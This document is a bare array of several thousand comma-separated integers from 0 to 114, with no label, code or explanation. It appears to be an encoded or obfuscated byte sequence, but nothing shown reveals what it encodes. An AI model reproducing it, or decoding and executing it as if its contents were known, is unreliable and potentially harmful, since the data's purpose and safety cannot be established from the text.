15, 3, 88, 71, 79, 95, 13, 82, 69, 36, 13, 91, 86, 89, 80, 10, 81, 78, 72, 26, 64, 103, 16, 27, 109, 13, 70, 78, 91, 112, 10, 81, 113, 77, 111, 78, 12, 75, 88, 112, 64, 17, 16, 75, 104, 29, 88, 19, 84, 80, 87, 0, 10, 71, 78, 76, 88, 29, 106, 108, 114, 97, 75, 11, 1, 80, 69, 101, 69, 97, 87, 112, 105, 94, 109, 88, 75, 114, 114, 93, 36, 87, 83, 69, 107, 104, 15, 91, 11, 91, 82, 97, 114, 68, 26, 94, 19, 72, 112, 108, 87, 71, 110, 100, 10, 36, 83, 108, 87, 69, 98, 81, 88, 99, 111, 13, 26, 103, 68, 90, 11, 10, 113, 69, 83, 114, 79, 1, 95, 91, 101, 71, 64, 96, 87, 95, 111, 80, 112, 98, 99, 109, 27, 83, 102, 80, 87, 70, 11, 105, 114, 80, 104, 15, 107, 86, 97, 76, 94, 2, 76, 114, 36, 2, 19, 105, 96, 90, 8, 3, 78, 93, 95, 72, 19, 80, 27, 86, 77, 105, 1, 73, 101, 68, 15, 111, 73, 12, 78, 101, 81, 70, 86, 70, 70, 36, 80, 11, 0, 114, 1, 11, 79, 96, 3, 77, 69, 77, 36, 81, 91, 78, 86, 77, 12, 16, 8, 8, 82, 83, 88, 100, 97, 70, 27, 110, 77, 10, 72, 10, 29, 79, 73, 100, 112, 109, 88, 3, 94, 108, 36, 95, 19, 81, 90, 98, 17, 15, 88, 105, 2, 8, 17, 64, 108, 27, 88, 64, 27, 95, 97, 113, 107, 71, 64, 68, 108, 100, 102, 26, 81, 71, 70, 89, 27, 68, 11, 105, 8, 109, 79, 86, 109, 94, 85, 26, 84, 110, 77, 91, 94, 70, 11, 109, 71, 78, 91, 0, 68, 13, 95, 101, 26, 19, 105, 87, 13, 29, 103, 107, 68, 10, 114, 27, 72, 89, 110, 72, 106, 93, 90, 90, 79, 26, 10, 92, 13, 92, 88, 99, 75, 8, 92, 76, 83, 93, 110, 19, 83, 112, 113, 19, 64, 27, 68, 73, 109, 36, 99, 73, 79, 98, 80, 68, 111, 17, 77, 104, 1, 99, 112, 79, 105, 78, 85, 106, 76, 64, 82, 113, 36, 83, 98, 75, 26, 105, 36, 91, 79, 36, 72, 112, 91, 89, 102, 76, 79, 17, 89, 114, 19, 88, 16, 12, 87, 10, 0, 102, 2, 92, 103, 89, 72, 3, 79, 103, 97, 92, 100, 78, 17, 94, 108, 104, 96, 98, 100, 92, 107, 10, 83, 100, 93, 77, 12, 36, 3, 71, 84, 16, 19, 105, 76, 104, 112, 70, 112, 2, 85, 99, 87, 0, 95, 26, 10, 36, 17, 82, 96, 0, 111, 81, 96, 88, 100, 27, 69, 26, 103, 76, 2, 86, 106, 100, 103, 71, 3, 96, 98, 107, 102, 15, 110, 105, 1, 99, 79, 36, 0, 110, 84, 90, 81, 19, 94, 96, 15, 10, 89, 0, 17, 101, 90, 111, 101, 106, 75, 113, 26, 93, 95, 76, 2, 73, 92, 10, 3, 17, 26, 100, 91, 29, 107, 86, 89, 78, 1, 15, 15, 89, 68, 68, 70, 89, 85, 109, 0, 90, 81, 84, 101, 99, 113, 80, 111, 10, 102, 79, 90, 109, 86, 19, 2, 12, 112, 64, 102, 19, 77, 106, 86, 0, 93, 75, 106, 19, 36, 111, 10, 75, 1, 27, 84, 103, 102, 99, 80, 10, 29, 88, 27, 86, 86, 87, 69, 86, 88, 81, 95, 71, 86, 11, 102, 12, 64, 89, 81, 88, 83, 110, 105, 36, 82, 13, 16, 111, 110, 87, 19, 11, 110, 1, 73, 112, 64, 87, 105, 36, 96, 97, 106, 110, 91, 88, 0, 82, 75, 77, 93, 96, 104, 26, 86, 103, 109, 98, 84, 95, 109, 3, 68, 75, 27, 3, 102, 102, 96, 0, 96, 106, 11, 81, 13, 12, 104, 108, 10, 73, 13, 105, 80, 69, 78, 88, 101, 76, 88, 107, 105, 79, 16, 15, 94, 27, 64, 93, 91, 70, 2, 87, 109, 97, 97, 81, 87, 82, 108, 110, 36, 97, 87, 108, 107, 111, 104, 104, 101, 3, 73, 81, 92, 104, 1, 91, 88, 82, 95, 1, 92, 70, 75, 98, 114, 92, 73, 114, 68, 114, 96, 19, 12, 75, 8, 10, 26, 88, 68, 0, 102, 103, 70, 106, 69, 3, 76, 86, 68, 69, 27, 68, 82, 76, 79, 107, 111, 12, 107, 75, 87, 79, 91, 13, 103, 113, 10, 92, 99, 83, 108, 91, 3, 68, 92, 84, 81, 83, 64, 17, 101, 100, 75, 10, 101, 68, 17, 107, 83, 87, 104, 26, 111, 17, 80, 26, 13, 85, 105, 15, 114, 70, 16, 92, 99, 16, 79, 103, 89, 86, 78, 89, 111, 19, 84, 73, 98, 75, 102, 72, 80, 96, 3, 88, 13, 26, 112, 8, 106, 77, 107, 8, 95, 82, 96, 69, 92, 97, 90, 76, 13, 108, 92, 82, 93, 68, 85, 89, 82, 82, 1, 88, 75, 77, 2, 0, 88, 36, 112, 111, 78, 102, 27, 16, 8, 79, 17, 112, 90, 75, 78, 1, 105, 93, 102, 105, 68, 0, 113, 101, 16, 106, 13, 80, 1, 68, 87, 27, 98, 103, 16, 26, 81, 96, 109, 71, 97, 106, 8, 77, 87, 16, 109, 92, 69, 16, 100, 104, 70, 75, 77, 94, 1, 84, 64, 3, 77, 96, 1, 90, 3, 11, 93, 12, 111, 79, 97, 87, 108, 102, 96, 87, 13, 94, 12, 10, 73, 110, 106, 79, 99, 110, 77, 87, 111, 90, 1, 79, 81, 64, 90, 92, 94, 73, 87, 0, 93, 110, 72, 82, 114, 94, 88, 100, 2, 3, 81, 12, 15, 26, 75, 68, 94, 77, 79, 79, 73, 98, 75, 72, 0, 85, 3, 0, 96, 2, 68, 102, 103, 83, 11, 109, 82, 80, 80, 89, 95, 93, 97, 110, 73, 81, 78, 82, 2, 106, 73, 88, 16, 78, 2, 11, 114, 79, 110, 8, 19, 85, 10, 98, 109, 36, 110, 105, 111, 86, 100, 82, 95, 17, 88, 109, 98, 90, 90, 69, 114, 106, 103, 86, 1, 29, 36, 3, 100, 72, 19, 64, 11, 110, 15, 110, 19, 88, 15, 92, 93, 82, 83, 78, 36, 99, 73, 97, 98, 17, 102, 103, 84, 86, 80, 91, 109, 26, 76, 94, 113, 114, 109, 36, 89, 12, 13, 106, 92, 19, 104, 76, 73, 84, 77, 102, 81, 75, 80, 107, 114, 100, 16, 27, 29, 75, 72, 26, 112, 12, 98, 73, 81, 94, 17, 19, 77, 90, 8, 81, 106, 17, 114, 105, 89, 87, 100, 8, 98, 112, 26, 112, 86, 83, 27, 105, 113, 11, 29, 16, 1, 72, 92, 93, 75, 95, 73, 93, 27, 104, 107, 36, 109, 84, 100, 3, 71, 13, 107, 89, 69, 92, 80, 29, 109, 11, 2, 77, 26, 36, 111, 98, 1, 64, 91, 71, 90, 103, 76, 98, 95, 75, 81, 1, 80, 1, 3, 72, 91, 13, 70, 98, 77, 1, 93, 113, 108, 3, 17, 105, 113, 75, 94, 111, 29, 104, 10, 104, 75, 90, 11, 36, 109, 97, 68, 1, 75, 98, 2, 1, 103, 90, 27, 73, 106, 95, 108, 76, 81, 100, 19, 83, 113, 71, 97, 13, 12, 105, 76, 109, 83, 76, 2, 36, 72, 104, 1, 0, 95, 91, 70, 27, 76, 95, 12, 87, 70, 1, 27, 101, 82, 75, 85, 71, 36, 17, 95, 100, 106, 29, 82, 86, 113, 89, 102, 11, 101, 17, 78, 88, 101, 104, 114, 114, 81, 68, 80, 77, 93, 8, 27, 112, 102, 72, 82, 102, 13, 91, 103, 99, 83, 95, 72, 77, 101, 64, 112, 114, 75, 91, 11, 83, 78, 84, 69, 71, 100, 105, 101, 87, 110, 96, 19, 10, 91, 73, 87, 96, 79, 114, 12, 36, 73, 98, 36, 103, 83, 68, 91, 106, 87, 107, 93, 91, 102, 68, 70, 26, 103, 113, 17, 64, 100, 92, 103, 73, 79, 96, 112, 110, 102, 102, 106, 80, 15, 72, 78, 73, 81, 13, 95, 90, 70, 111, 80, 114, 96, 73, 113, 8, 114, 113, 10, 79, 92, 69, 89, 96, 69, 70, 108, 87, 107, 84, 64, 106, 86, 80, 76, 97, 17, 16, 94, 2, 12, 75, 93, 2, 103, 36, 101, 79, 88, 100, 95, 110, 75, 90, 104, 89, 108, 16, 3, 69, 16, 19, 11, 13, 90, 95, 108, 105, 97, 107, 84, 11, 90, 15, 87, 89, 69, 19, 19, 83, 10, 94, 86, 92, 15, 107, 26, 95, 68, 107, 109, 78, 11, 1, 68, 17, 19, 29, 27, 81, 102, 1, 15, 87, 89, 13, 104, 83, 75, 10, 95, 103, 89, 112, 3, 27, 107, 85, 79, 2, 86, 29, 15, 89, 107, 68, 113, 93, 100, 0, 0, 104, 8, 69, 77, 64, 104, 78, 29, 17, 100, 17, 106, 96, 68, 16, 104, 108, 11, 94, 104, 82, 27, 64, 88, 97, 73, 19, 87, 88, 26, 111, 19, 92, 2, 15, 102, 113, 105, 26, 112, 76, 94, 84, 12, 97, 105, 16, 84, 16, 94, 85, 100, 76, 12, 64, 29, 86, 83, 107, 88, 113, 85, 17, 107, 89, 12, 109, 99, 104, 83, 95, 73, 102, 85, 64, 79, 15, 89, 10, 26, 17, 101, 99, 83, 78, 103, 101, 10, 111, 101, 84, 81, 106, 102, 87, 113, 81, 2, 68, 27, 92, 111, 106, 85, 81, 113, 90, 84, 71, 26, 79, 27, 101, 72, 76, 2, 69, 26, 112, 85, 15, 112, 11, 75, 19, 114, 13, 78, 112, 98, 71, 91, 113, 88, 29, 1, 88, 87, 113, 95, 75, 71, 90, 70, 77, 11, 68, 114, 102, 64, 2, 95, 27, 95, 36, 78, 111, 27, 105, 98, 105, 96, 85, 112, 113, 27, 36, 2, 10, 29, 69, 69, 1, 87, 112, 82, 106, 112, 2, 69, 86, 27, 11, 13, 81, 83, 97, 88, 96, 36, 107, 94, 3, 107, 100, 71, 94, 96, 77, 82, 94, 19, 104, 99, 16, 85, 79, 17, 97, 101, 19, 112, 81, 36, 68, 2, 107, 2, 82, 107, 96, 71, 94, 90, 72, 92, 92, 91, 100, 103, 109, 72, 87, 36, 82, 93, 87, 70, 84, 8, 84, 105, 75, 108, 2, 97, 103, 78, 77, 69, 106, 85, 17, 93, 70, 114, 110, 89, 77, 13, 113, 73, 85, 78, 79, 90, 82, 108, 105, 101, 75, 80, 109, 82, 29, 106, 75, 77, 79, 101, 19, 36, 92, 104, 29, 82, 11, 78, 113, 84, 113, 90, 2, 87, 107, 10, 98, 97, 86, 79, 114, 70, 75, 94, 73, 84, 68, 101, 114, 87, 102, 84, 80, 81, 12, 76, 87, 103, 97, 103, 71, 16, 12, 84, 26, 11, 93, 92, 97, 15, 3, 10, 36, 10, 77, 94, 107, 77, 81, 84, 96, 97, 8, 82, 83, 83, 36, 97, 82, 1, 82, 91, 81, 106, 1, 15, 83, 88, 111, 97, 97, 103, 112, 69, 8, 106, 2, 114, 114, 96, 110, 77, 3, 72, 86, 83, 103, 96, 114, 110, 86, 87, 94, 104, 80, 106, 77, 81, 3, 98, 107, 96, 82, 94, 107, 110, 85, 99, 113, 91, 70, 29, 84, 104, 101, 84, 111, 71, 94, 19, 98, 70, 105, 97, 92, 84, 36, 78, 81, 36, 15, 107, 15, 113, 16, 79, 89, 77, 109, 106, 75, 2, 86, 108, 72, 8, 108, 102, 103, 8, 98, 84, 87, 96, 19, 71, 84, 16, 73, 2, 91, 101, 2, 92, 15, 95, 110, 101, 76, 16, 80, 100, 11, 113, 27, 80, 13, 72, 13, 103, 103, 101, 0, 68, 94, 86, 76, 97, 112, 12, 95, 36, 93, 100, 77, 92, 71, 97, 29, 83, 101, 88, 112, 101, 69, 98, 98, 112, 69, 80, 29, 29, 89, 99, 71, 78, 113, 16, 98, 13, 10, 71, 77, 79, 112, 1, 15, 2, 11, 72, 8, 11, 73, 96, 91, 108, 11, 16, 27, 84, 17, 96, 78, 1, 94, 76, 111, 10, 79, 2, 103, 84, 96, 83, 86, 109, 8, 104, 91, 16, 99, 27, 12, 93, 94, 91, 112, 12, 109, 94, 100, 102, 99, 8, 71, 102, 16, 97, 11, 78, 70, 80, 8, 77, 92, 98, 98, 107, 98, 27, 36, 17, 89, 19, 112, 16, 71, 88, 82, 92, 79, 101, 109, 12, 96, 100, 80, 91, 2, 85, 90, 96, 16, 104, 13, 68, 19, 27, 8, 94, 78, 110, 87, 85, 71, 95, 79, 73, 101, 87, 94, 69, 114, 89, 8, 103, 12, 29, 2, 84, 88, 89, 91, 104, 103, 93, 19, 72, 98, 13, 110, 100, 69, 83, 36, 76, 92, 91, 105, 69, 109, 112, 78, 94, 99, 71, 81, 104, 85, 96, 77, 77, 110, 97, 76, 89, 64, 77, 79, 73, 86, 100, 90, 77, 16, 90, 71, 84, 89, 106, 95, 15, 29, 96, 112, 81, 2, 36, 73, 68, 77, 87, 1, 98, 27, 101, 72, 80, 73, 112, 102, 100, 88, 1, 71, 92, 12, 87, 91, 68, 10, 107, 12, 19, 110, 114, 99, 98, 17, 11, 17, 104, 29, 110, 96, 113, 85, 103, 106, 0, 111, 69, 100, 100, 84, 3, 89, 87, 105, 75, 104, 2, 107, 92, 84, 93, 112, 85, 110, 79, 107, 80, 103, 84, 79, 70, 64, 69, 71, 87, 0, 83, 110, 10, 27, 102, 75, 68, 97, 64, 110, 10, 76, 98, 12, 102, 87, 101, 11, 64, 110, 69, 88, 98, 17, 3, 84, 1, 76, 87, 68, 2, 88, 72, 75, 87, 101, 10, 12, 3, 94, 107, 95, 11, 91, 112, 112, 91, 95, 88, 70, 88, 87, 76, 26, 112, 81, 13, 93, 83, 94, 17, 64, 82, 104, 88, 96, 90, 93, 26, 110, 64, 71, 72, 88, 78, 102, 114, 80, 77, 110, 17, 26, 82, 107, 26, 92, 1, 75, 0, 101, 10, 16, 92, 92, 29, 113, 15, 3, 105, 69, 104, 26, 64, 104, 36, 107, 73, 13, 88, 94, 12, 15, 16, 73, 10, 13, 3, 110, 94, 103, 85, 27, 68, 1, 109, 27, 95, 81, 111, 85, 64, 26, 73, 108, 75, 13, 72, 87, 88, 105, 82, 79, 80, 77, 90, 83, 105, 2, 92, 107, 84, 36, 13, 75, 85, 81, 85, 109, 90, 84, 97, 90, 104, 105, 73, 104, 26, 111, 91, 2, 1, 71, 64, 71, 103, 93, 98, 76, 99, 89, 105, 109, 113, 96, 90, 13, 13, 113, 27, 36, 99, 73, 76, 113, 0, 68, 77, 78, 13, 3, 27, 72, 15, 95, 75, 88, 112, 78, 76, 72, 109, 89, 86, 78, 114, 64, 16, 105, 102, 77, 103, 12, 0, 90, 1, 19, 101, 105, 106, 108, 72, 71, 111, 82, 108, 79, 98, 101, 73, 88, 114, 0, 27, 113, 12, 77, 93, 84, 89, 71, 17, 87, 0, 84, 109, 10, 69, 1, 101, 93, 93, 84, 112, 91, 2, 17, 89, 109, 12, 103, 15, 102, 110, 3, 72, 71, 86, 91, 78, 29, 113, 2, 112, 93, 94, 86, 81, 76, 72, 112, 13, 16, 99, 84, 85, 107, 2, 0, 95, 72, 113, 76, 92, 15, 76, 17, 99, 36, 3, 1, 94, 84, 105, 99, 108, 26, 86, 10, 107, 111, 106, 95, 113, 109, 85, 17, 107, 26, 26, 101, 90, 29, 101, 105, 2, 72, 27, 83, 81, 105, 95, 102, 17, 26, 8, 101, 114, 77, 80, 12, 36, 0, 15, 11, 86, 19, 3, 112, 87, 1, 113, 76, 94, 105, 70, 86, 77, 90, 90, 112, 75, 36, 10, 75, 99, 80, 99, 90, 87, 80, 107, 29, 83, 93, 11, 26, 12, 112, 11, 13, 80, 93, 99, 99, 17, 78, 95, 78, 111, 0, 10, 107, 16, 12, 68, 112, 26, 101, 111, 72, 19, 77, 29, 69, 102, 103, 107, 15, 114, 71, 12, 27, 110, 95, 78, 113, 100, 111, 27, 90, 68, 85, 86, 13, 1, 3, 2, 106, 83, 93, 111, 94, 110, 95, 3, 96, 112, 73, 87, 110, 72, 17, 99, 8, 91, 97, 10, 91, 12, 73, 93, 85, 86, 103, 105, 11, 89, 78, 17, 91, 106, 64, 113, 78, 12, 15, 100, 15, 73, 83, 12, 16, 103, 77, 86, 113, 103, 69, 90, 105, 106, 72, 73, 100, 0, 68, 101, 81, 104, 95, 27, 11, 105, 114, 106, 85, 94, 0, 98, 3, 110, 36, 103, 8, 86, 112, 36, 72, 84, 87, 103, 36, 107, 86, 113, 3, 69, 104, 103, 94, 101, 2, 75, 108, 86, 73, 13, 107, 29, 15, 8, 82, 90, 11, 17, 26, 73, 92, 2, 86, 73, 83, 103, 82, 29, 82, 68, 70, 111, 69, 70, 76, 13, 12, 105, 10, 88, 113, 3, 68, 85, 77, 101, 19, 17, 87, 10, 11, 15, 2, 103, 102, 99, 93, 77, 12, 11, 12, 87, 17, 79, 71, 111, 90, 72, 0, 112, 114, 104, 19, 64, 91, 1, 99, 109, 73, 8, 36, 107, 1, 109, 78, 10, 110, 15, 114, 72, 79, 105, 15, 89, 109, 106, 111, 102, 88, 0, 86, 82, 0, 111, 97, 81, 12, 112, 92, 29, 107, 99, 10, 75, 112, 71, 83, 89, 84, 101, 8, 2, 15, 72, 98, 97, 106, 2, 80, 11, 97, 64, 92, 87, 90, 76, 2, 101, 101, 17, 10, 68, 10, 105, 79, 27, 11, 84, 75, 75, 95, 81, 76, 89, 89, 96, 2, 8, 87, 111, 0, 93, 83, 27, 3, 91, 72, 100, 109, 86, 85, 64, 26, 68, 76, 64, 84, 109, 96, 77, 70, 97, 36, 89, 69, 84, 8, 95, 107, 78, 86, 0, 10, 87, 75, 11, 108, 90, 105, 16, 112, 80, 12, 107, 68, 11, 3, 94, 72, 90, 86, 76, 82, 75, 71, 86, 91, 64, 3, 85, 10, 103, 89, 78, 79, 17, 101, 78, 97, 92, 72, 80, 70, 113, 86, 88, 76, 92, 78, 73, 73, 77, 29, 12, 112, 73, 109, 85, 76, 85, 110, 114, 36, 97, 88, 80, 68, 8, 110, 112, 27, 11, 106, 109, 94, 82, 0, 107, 100, 106, 106, 2, 79, 80, 94, 89, 103, 95, 19, 97, 72, 75, 1, 91, 73, 113, 86, 16, 71, 97, 91, 92, 101, 112, 79, 70, 15, 29, 108, 78, 79, 114, 11, 36, 77, 81, 77, 99, 36, 69, 109, 80, 64, 69, 69, 1, 76, 80, 113, 100, 109, 100, 96, 70, 96, 85, 15, 36, 76, 89, 76, 85, 80, 102, 70, 19, 93, 91, 15, 91, 107, 111, 110, 27, 81, 103, 103, 106, 105, 75, 64, 84, 104, 90, 100, 71, 19, 85, 114, 90, 114, 1, 81, 93, 79, 81, 2, 81, 90, 110, 89, 1, 99, 13, 94, 75, 72, 109, 69, 86, 81, 104, 11, 96, 84, 97, 103, 76, 114, 81, 69, 113, 64, 80, 27, 68, 88, 96, 68, 15, 86, 114, 0, 72, 15, 90, 10, 84, 114, 93, 70, 87, 104, 94, 97, 83, 86, 110, 26, 98, 109, 111, 105, 8, 84, 17, 108, 19, 12, 8, 102, 89, 95, 102, 10, 73, 76, 104, 95, 83, 15, 75, 16, 69, 75, 85, 90, 64, 69, 26, 11, 13, 15, 70, 98, 108, 104, 75, 77, 110, 97, 105, 75, 102, 111, 8, 81, 105, 19, 8, 105, 79, 94, 75, 29, 78, 94, 93, 71, 77, 70, 112, 71, 1, 27, 1, 100, 10, 79, 89, 108, 113, 8, 12, 73, 0, 11, 0, 79, 0, 104, 71, 86, 13, 78, 72, 70, 79, 96, 10, 71, 91, 10, 75, 108, 104, 76, 111, 110, 27, 10, 73, 1, 112, 29, 101, 104, 106, 101, 100, 107, 113, 3, 97, 78, 75, 97, 87, 94, 114, 113, 78, 64, 75, 105, 87, 89, 89, 108, 112, 92, 11, 82, 73, 96, 80, 19, 19, 71, 72, 0, 97, 88, 110, 81, 98, 101, 98, 0, 82, 76, 84, 78, 70, 113, 102, 106, 84, 96, 8, 105, 86, 86, 10, 13, 15, 0, 86, 97, 78, 70, 87, 107, 87, 89, 93, 95, 99, 0, 8, 80, 76, 91, 101, 87, 0, 113, 77, 84, 3, 100, 64, 93, 64, 106, 3, 103, 107, 0, 1, 76, 13, 88, 89, 105, 94, 69, 70, 110, 104, 10, 75, 10, 95, 104, 3, 70, 70, 90, 112, 64, 92, 99, 114, 0, 89, 103, 102, 84, 73, 85, 86, 86, 107, 97, 100, 82, 69, 82, 90, 97, 85, 111, 102, 11, 10, 19, 93, 86, 71, 104, 102, 3, 87, 69, 8, 64, 97, 113, 85, 0, 0, 1, 106, 27, 1, 84, 3, 3, 2, 26, 86, 76, 114, 95, 108, 94, 85, 88, 109, 29, 3, 106, 75, 15, 87, 106, 27, 79, 111, 109, 0, 16, 92, 104, 89, 106, 69, 70, 29, 103, 83, 89, 83, 88, 68, 87, 106, 102, 113, 85, 19, 78, 11, 19, 92, 113, 105, 110, 85, 75, 75, 87, 1, 75, 87, 16, 16, 76, 64, 79, 89, 98, 110, 13, 103, 26, 10, 89, 16, 114, 29, 16, 15, 106, 3, 102, 77, 16, 2, 13, 89, 11, 1, 93, 92, 78, 94, 70, 27, 103, 73, 70, 15, 105, 83, 78, 83, 68, 19, 90, 13, 92, 77, 93, 17, 114, 1, 73, 99, 19, 12, 70, 16, 17, 13, 1, 98, 77, 98, 100, 78, 106, 11, 111, 84, 80, 1, 77, 91, 19, 111, 112, 68, 2, 96, 111, 87, 98, 82, 109, 16, 2, 15, 0, 26, 90, 70, 90, 113, 83, 11, 11, 113, 89, 109, 80, 8, 84, 79, 113, 110, 110, 95, 8, 105, 84, 90, 12, 84, 64, 113, 112, 93, 85, 80, 73, 15, 89, 103, 99, 16, 85, 82, 79, 2, 109, 106, 75, 27, 1, 94, 103, 109, 99, 96, 90, 82, 71, 77, 82, 17, 85, 87, 99, 71, 100, 10, 99, 26, 75, 105, 85, 107, 111, 93, 87, 80, 98, 11, 83, 1, 19, 111, 81, 99, 95, 70, 96, 0, 83, 16, 11, 72, 19, 108, 97, 68, 69, 0, 108, 69, 8, 17, 70, 107, 17, 19, 0, 104, 36, 16, 1, 91, 86, 71, 69, 77, 100, 0, 106, 88, 107, 107, 17, 15, 77, 76, 27, 85, 111, 80, 73, 94, 72, 82, 93, 1, 113, 83, 27, 0, 0, 76, 91, 88, 27, 98, 108, 75, 91, 110, 72, 86, 73, 2, 13, 75, 93, 97, 8, 93, 80, 97, 85, 68, 26, 111, 36, 111, 90, 73, 109, 92, 87, 85, 79, 69, 95, 73, 2, 15, 86, 100, 108, 82, 68, 77, 87, 27, 13, 97, 80, 13, 3, 10, 12, 72, 17, 100, 93, 85, 86, 107, 0, 19, 86, 80, 27, 99, 36, 13, 64, 88, 83, 75, 17, 97, 70, 26, 86, 36, 97, 79, 114, 78, 89, 19, 17, 76, 3, 86, 88, 79, 114, 3, 13, 19, 82, 73, 86, 96, 102, 13, 101, 17, 17, 15, 102, 109, 77, 98, 98, 114, 102, 114, 8, 108, 19, 97, 103, 106, 36, 79, 29, 26, 113, 70, 12, 102, 0, 91, 10, 89, 11, 15, 108, 0, 108, 104, 91, 95, 86, 16, 114, 26, 12, 107, 83, 10, 13, 85, 101, 95, 8, 104, 77, 83, 82, 27, 98, 78, 8, 16, 12, 113, 106, 97, 78, 92, 10, 86, 72, 108, 98, 75, 94, 97, 17, 89, 73, 99, 76, 27, 12, 19, 113, 103, 94, 3, 13, 93, 81, 110, 88, 100, 107, 91, 94, 101, 107, 88, 79, 109, 17, 15, 64, 102, 19, 71, 11, 103, 114, 70, 73, 89, 75, 8, 105, 93, 84, 11, 16, 101, 11, 104, 86, 93, 96, 75, 86, 36, 104, 90, 89, 36, 2, 72, 89, 1, 70, 95, 104, 89, 107, 70, 103, 2, 82, 17, 17, 16, 29, 27, 64, 89, 110, 101, 3, 112, 71, 106, 16, 106, 1, 101, 92, 93, 105, 26, 64, 76, 93, 27, 97, 0, 112, 102, 112, 12, 29, 97, 93, 68, 86, 81, 92, 81, 2, 15, 92, 87, 76, 72, 75, 92, 16, 1, 93, 12, 98, 98, 19, 86, 104, 97, 112, 29, 10, 75, 64, 69, 76, 0, 97, 36, 99, 92, 3, 64, 72, 68, 85, 89, 106, 98, 106, 101, 98, 73, 3, 82, 80, 8, 78, 93, 72, 105, 103, 79, 103, 80, 103, 99, 83, 97, 79, 89, 12, 92, 88, 2, 106, 87, 72, 83, 10, 29, 100, 97, 0, 98, 89, 16, 29, 79, 73, 112, 73, 85, 96, 79, 11, 108, 79, 36, 72, 17, 27, 106, 19, 75, 109, 104, 17, 10, 12, 100, 2, 2, 12, 104, 1, 83, 15, 12, 68, 79, 97, 88, 106, 13, 112, 16, 91, 15, 12, 10, 101, 113, 100, 104, 113, 93, 26, 106, 72, 102, 113, 114, 73, 99, 91, 108, 71, 76, 84, 81, 76, 95, 29, 73, 107, 0, 90, 112, 96, 1, 111, 111, 64, 88, 15, 109, 13, 72, 69, 99, 84, 19, 91, 2, 95, 68, 26, 111, 101, 100, 88, 73, 68, 112, 88, 76, 99, 15, 110, 27, 99, 96, 69, 102, 113, 100, 2, 102, 75, 109, 17, 69, 94, 73, 69, 93, 2, 3, 75, 112, 111, 36, 19, 97, 108, 113, 81, 88, 83, 11, 111, 72, 80, 112, 88, 113, 79, 104, 16, 79, 84, 17, 68, 88, 112, 81, 83, 27, 80, 13, 12, 29, 70, 16, 103, 69, 68, 10, 73, 0, 27, 82, 76, 90, 27, 105, 107, 100, 16, 113, 91, 71, 89, 91, 106, 109, 1, 81, 78, 8, 12, 83, 78, 68, 90, 101, 88, 84, 96, 90, 79, 72, 80, 10, 64, 91, 99, 76, 100, 110, 16, 106, 80, 109, 114, 104, 12, 108, 92, 27, 86, 36, 1, 11, 113, 104, 70, 13, 101, 69, 99, 85, 111, 75, 84, 69, 101, 92, 82, 104, 17, 64, 15, 2, 95, 13, 80, 2, 81, 105, 2, 69, 3, 99, 97, 78, 99, 107, 93, 108, 90, 11, 27, 17, 70, 110, 3, 102, 80, 11, 109, 111, 99, 107, 88, 71, 75, 101, 88, 15, 82, 114, 84, 96, 89, 8, 86, 100, 102, 107, 83, 95, 104, 84, 29, 103, 111, 90, 92, 113, 105, 68, 1, 27, 91, 114, 109, 89, 105, 72, 19, 103, 90, 91, 108, 27, 94, 100, 109, 106, 29, 2, 99, 78, 113, 106, 19, 78, 94, 105, 90, 81, 16, 96, 105, 70, 113, 75, 94, 92, 107, 76, 12, 19, 94, 78, 13, 93, 87, 86, 75, 11, 102, 96, 86, 71, 113, 89, 82, 107, 99, 82, 12, 19, 10, 88, 111, 81, 3, 76, 36, 3, 103, 113, 19, 84, 15, 99, 103, 99, 81, 104, 2, 36, 15, 106, 109, 86, 105, 107, 110, 100, 19, 75, 75, 26, 29, 26, 114, 99, 1, 90, 3, 19, 111, 8, 77, 83, 100, 80, 12, 13, 12, 8, 10, 93, 107, 111, 75, 19, 17, 68, 101, 0, 82, 12, 94, 16, 87, 2, 93, 114, 102, 91, 87, 108, 88, 82, 2, 64, 94, 71, 77, 113, 99, 2, 102, 114, 86, 107, 98, 88, 19, 64, 105, 11, 77, 12, 80, 70, 68, 27, 112, 77, 114, 36, 36, 64, 101, 26, 110, 1, 96, 112, 113, 93, 16, 87, 73, 87, 103, 90, 98, 3, 87, 109, 86, 111, 91, 106, 64, 93, 112, 79, 78, 12, 72, 86, 107, 36, 98, 110, 107, 88, 84, 72, 100, 0, 92, 80, 26, 91, 81, 79, 87, 1, 82, 36, 97, 83, 86, 2, 103, 76, 77, 87, 27, 100, 13, 109, 94, 1, 27, 86, 114, 73, 111, 96, 36, 99, 103, 85, 78, 75, 12, 91, 78, 99, 96, 108, 103, 85, 71, 103, 98, 3, 76, 101, 95, 107, 17, 73, 114, 82, 19, 26, 92, 105, 29, 106, 100, 84, 114, 79, 113, 2, 109, 95, 106, 105, 85, 87, 86, 89, 94, 80, 27, 3, 97, 112, 107, 95, 112, 82, 106, 19, 17, 0, 81, 84, 110, 15, 12, 95, 109, 19, 70, 92, 94, 92, 12, 15, 2, 83, 70, 106, 108, 76, 95, 91, 114, 82, 110, 88, 85, 8, 27, 101, 68, 72, 3, 16, 82, 75, 83, 102, 100, 72, 12, 84, 64, 78, 19, 36, 97, 80, 78, 78, 70, 98, 80, 103, 101, 85, 99, 96, 106, 19, 102, 3, 104, 89, 114, 83, 97, 8, 86, 27, 101, 96, 88, 81, 84, 19, 12, 72, 17, 77, 2, 96, 91, 113, 84, 105, 36, 98, 99, 36, 96, 73, 104, 94, 88, 105, 108, 96, 0, 103, 87, 100, 76, 112, 1, 68, 95, 112, 105, 102, 87, 100, 76, 82, 36, 15, 13, 8, 81, 91, 85, 27, 78, 83, 1, 84, 3, 94, 94, 78, 2, 91, 108, 72, 87, 11, 68, 1, 81, 16, 76, 96, 98, 96, 87, 68, 19, 111, 69, 16, 15, 113, 3, 104, 87, 72, 8, 83, 95, 17, 70, 27, 105, 94, 68, 105, 108, 82, 75, 112, 109, 75, 16, 71, 95, 73, 26, 100, 10, 81, 12, 108, 19, 110, 101, 75, 112, 112, 15, 104, 70, 27, 99, 77, 36, 80, 95, 29, 85, 1, 0, 13, 17, 2, 1, 29, 86, 88, 94, 110, 112, 98, 104, 79, 107, 15, 104, 112, 85, 72, 15, 81, 27, 109, 98, 81, 1, 81, 81, 2, 10, 75, 110, 12, 80, 80, 64, 92, 75, 94, 76, 96, 16, 26, 13, 96, 102, 101, 69, 16, 68, 13, 109, 68, 64, 90, 70, 86, 107, 92, 12, 96, 94, 2, 107, 17, 17, 76, 78, 90, 83, 1, 106, 92, 110, 75, 113, 114, 104, 71, 103, 98, 107, 98, 19, 15, 17, 70, 1, 93, 84, 97, 72, 8, 16, 29, 88, 105, 85, 89, 81, 95, 26, 89, 8, 88, 84, 36, 73, 82, 2, 27, 90, 10, 71, 90, 13, 